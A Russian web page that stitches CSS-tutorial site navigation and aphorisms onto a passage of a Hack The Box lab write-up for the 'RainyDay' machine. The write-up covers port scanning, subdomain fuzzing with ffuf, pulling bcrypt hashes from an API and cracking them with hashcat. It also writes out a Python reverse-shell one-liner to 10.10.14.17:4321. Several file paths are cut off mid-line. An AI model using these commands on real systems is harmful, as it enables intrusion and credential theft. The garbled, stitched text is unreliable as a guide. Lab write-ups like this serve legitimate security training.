Невозможно отучить людей изучать самые ненужные предметы.
Введение в CSS
Преимущества стилей
Добавления стилей
Типы носителей
Базовый синтаксис
Значения стилевых свойств
Селекторы тегов
Классы
CSS3
Надо знать обо всем понемножку, но все о немногом.
Идентификаторы
Контекстные селекторы
Соседние селекторы
Дочерние селекторы
Селекторы атрибутов
Универсальный селектор
Псевдоклассы
Псевдоэлементы
Кто умеет, тот делает. Кто не умеет, тот учит. Кто не умеет учить - становится деканом. (Т. Мартин)
Группирование
Наследование
Каскадирование
Валидация
Идентификаторы и классы
Написание эффективного кода
Вёрстка
Изображения
Текст
Цвет
Линии и рамки
Углы
Списки
Ссылки
Дизайны сайтов
Формы
Таблицы
CSS3
HTML5
Блог для вебмастеров
Новости мира Интернет
Сайтостроение
Ремонт и советы
Все новости
Справочник от А до Я
HTML, CSS, JavaScript
Афоризмы о учёбе
Статьи об афоризмах
Все Афоризмы
Помогли мы вам |
Подключаться к машинам с HTB рекомендуется только через VPN. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.
Добавляем IP-адрес машины в /
:
10.10.11.184 rainyday.htb
И запускаем сканирование портов.
Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:
ports=$(nmap -p- --min-rate=500 $1 | grep^[0-9] | cut -d '/' -f 1 | tr 'n' ',' | sed s/,$//)nmap -p$ports -A $1
Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A
).
Нашлось два открытых порта: 22 — служба OpenSSH 8.9p1 и 80 — веб‑сервер Nginx 1.18.0. На SSH нам пока заходить рано, поскольку учетных данных у нас нет (а перебирать их на машине с HTB не предполагается).
В заголовке ответа веб‑сервера Nmap нашел поле http-title
, которое сообщает о редиректе на адрес rainycloud.
. Поэтому изменим запись в файле /
и обратимся к новому сайту через браузер.
10.10.11.184 rainyday.htb rainycloud.htb
Давай построим карту сайта в Burp Suite, чтобы лучше ориентироваться. Для этого выбираем любой запрос к целевому сайту и в контекстном меню кликаем Engagement tool → Discovery content. После окончания сканирования на вкладке Site map увидим что‑то похожее на скрин ниже.
Когда Burp Suite строит карту, он не только сканирует каталоги и файлы, но и собирает ссылки и переходит по ним. Так как не происходит сканирования поддоменов, то выполним его с помощью ffuf.
Одно из первых действий при тестировании безопасности веб‑приложения — это сканирование методом перебора каталогов, чтобы найти скрытую информацию и недоступные обычным посетителям функции. Для этого можно использовать программы вроде dirsearch и DIRB.
Я предпочитаю легкий и очень быстрый ffuf. При запуске указываем следующие параметры:
-u
— URL;-w
— словарь (я использую словари из набора SecLists);-H
— дополнительный HTTP-заголовок;-t
— количество потоков;-fs
— фильтр, исключающий страницы по размеру.ffuf -u 'http://rainycloud.htb' -wsubdomains-top1million-110000.txt -H "Host: FUZZ.rainycloud.htb" -t 256 -fs 229
Добавляем новый домен в файл /
.
10.10.11.184 rainyday.htb rainycloud.htb dev.rainycloud.htb
Но сайт на новом домене нам недоступен, о чем говорит код ответа 403. Зато на карте сайта есть интересная страница /
.
Эндпоинт /
показывает нам единственный существующий образ Docker.
Еще мы можем запросить URL вида /
, чтобы получить информацию о пользователе. Немного поиграв с форматом id
, я получил три имени пользователя и хеши их паролей.
Найденные хеши были созданы алгоритмом bcrypt, который устойчив к перебору, — работа hashcat заняла около 25 минут. Для перебора bcrypt нужно использовать режим 3200 (параметр -m
).
hashcat -m3200 hashes.txt rockyou.txt
С найденным паролем авторизуемся на сайте и получаем возможность создать контейнер Docker.
Создаем новый контейнер, и нам открывается панель управления контейнером.
Внутри контейнера можно выполнять команды, поэтому получим реверс‑шелл. В качестве листенера я использую pwncat. Так как реверс‑шелл должен висеть долго, выполняем команду в фоновом режиме:
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.17",4321));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty;pty.spawn("/bin/sh")'
Получаем сессию и проверяем внутреннюю сеть.
Загрузим на хост статически собранный Nmap и найдем другие хосты (контейнеры) в сети.
./nmap -sn172.18.0.0/24
|
|